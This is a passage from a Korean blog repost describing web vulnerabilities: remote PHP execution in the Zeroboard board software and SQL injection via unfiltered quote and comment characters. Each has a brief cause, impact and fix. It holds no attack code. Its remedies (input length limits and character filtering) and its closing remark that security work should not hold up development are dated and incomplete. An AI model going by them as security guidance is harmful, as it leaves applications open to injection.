l 발생요인 : 국내개발되어 무료 배포중인 게시판 구축 프로그램 ‘zeroboard’ 의 일부 PHP 프로그램들이 원격에 있는 PHP파일을 실행할 수 있는 취약점 존재.
l 취약점 : 해커가 홈페이지 접속 방식으로 컴퓨터 명령어를 실행하여 화면 변조 및 컴퓨터 조작 가능성 존재.
l 해결방안 : 자체 게시판 사용으로 인한 취약점 원천봉쇄.
8. SQL injection
l 발생요인 : 웹주소창 또는 사용자 ID 및 패스워드 입력화면에서 데이터베이스SQL문에 사용되는 문자기호 (‘, “, --)의 입력을 적절히 필터링 하지 않은 경우.
l 취약점 : 해커가 SQL문으로 해석될 수 있도록 조작한 입력으로 데이터베이스를 인증절차없이 접근하여 권환획득, 자료 무단유출 및 변조 가능성 존재.
l 해결방안 : ID, passwd 길이제한 및 문자기호 필터링.
이 외에도 여러가지 웹 보안대책이 있을 수 있겠지만 보안에 너무나 신경을 쓴 나머지
사이트개발이 뒷전이 될 수 있으므로 이정도로 마무리하는게 좋을 듯 합니다.
[출처] AJAX는 보안에 취약하다?|작성자 키위
출처 - http://blog.naver.com/PostView.nhn?blogId=apteryx&logNo=30016950024
'Web > Ajax' 카테고리의 다른 글
| ajax - xmlhttprequest (0) | 2013.06.26 |
|---|---|
| AJAX 기본 개념 (0) | 2012.04.24 |
